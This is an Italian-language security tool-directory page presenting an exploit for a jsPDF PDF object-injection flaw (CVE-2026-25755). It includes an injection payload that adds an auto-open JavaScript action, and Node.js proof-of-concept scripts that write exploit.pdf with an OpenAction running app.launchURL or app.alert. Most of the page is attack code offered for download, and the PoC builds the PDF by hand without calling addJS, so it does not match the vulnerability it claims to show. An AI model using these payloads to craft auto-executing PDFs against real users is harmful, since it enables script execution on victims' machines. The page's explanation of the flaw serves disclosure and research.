Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/absholi7ly/jspdf-object-injection
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSviluppo Payload
GitHubabsholi7ly/jspdf-object-injection

jsPDF-Object-Injection

CVE-2026-25755 Una vulnerabilità critica di iniezione di oggetti PDF in jsPDF consente agli attaccanti di iniettare oggetti PDF arbitrari tramite la funzione `addJS()`, permettendo il bypass della sandbox AcroJS e l'esecuzione automatica di script all'apertura dei PDF.

Vedi Repository
6 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-25755 Bypass della Sandbox di jsPDF tramite Object Injection

Panoramica

È stata scoperta una vulnerabilità critica di PDF Object Injection (CVE-2026-25755) in jsPDF, una libreria JavaScript ampiamente utilizzata per generare documenti PDF in applicazioni lato client. La vulnerabilità risiede nella funzione addJS(), che consente agli attaccanti di iniettare oggetti PDF arbitrari e bypassare le restrizioni della sandbox AcroJS tramite una sanitizzazione inadeguata dell'input.


Causa principale

La funzione addJS() in jsPDF consente agli sviluppatori di incorporare codice JavaScript all'interno dei file PDF generati. Tuttavia, prima della versione 4.2.0, la funzione non riusciva a sanitizzare correttamente l'input utente contenente caratteri speciali della sintassi PDF.

Codice vulnerabile (pre-4.2.0)

root@kitploit:~
function addJS(javascript) {
    this.internal.write("/JS (" + javascript + ")");
}

Il vettore di iniezione

La funzione concatena direttamente l'input utente negli stream di oggetti PDF senza eseguire l'escape di:

  • Parentesi aperta (
  • Parentesi chiusa )
  • Backslash \

Ciò consente agli attaccanti di chiudere prematuramente il contesto della stringa JavaScript e iniettare oggetti PDF arbitrari.

Struttura JavaScript del PDF

root@kitploit:~
/JS (app.alert('Hello World'))

Payload di iniezione

root@kitploit:~
const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";

Stream di oggetti PDF

root@kitploit:~
/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
     ↑
     Punto di iniezione - contesto stringa bypassato

Meccanismo di iniezione

PassaggioAzioneRisultato
1) chiude la stringa /JS originaleContesto stringa terminato
2>> chiude l'oggetto PDF correnteStruttura dell'oggetto compromessa
3/AA << /Open << ...Nuovo dizionario di azioni iniettato
4Oggetti PDF arbitrari aggiuntiObject injection completo ottenuto

Codice PoC (Node.js)

Crea un file denominato exploit.js e scrivi al suo interno quanto segue

root@kitploit:~
import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000092 00000 n 
0000000275 00000 n 
0000000352 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);

Payload

root@kitploit:~
import fs from 'fs';

const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f 
0000000015 00000 n 
0000000089 00000 n 
0000000172 00000 n 
0000000249 00000 n 
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;

fs.writeFileSync('exploit.pdf', pdf);
root@kitploit:~
Esegui node exploit.js

Risultato: Il file exploit.pdf è stato creato nella stessa cartella.

Scarica lo strumento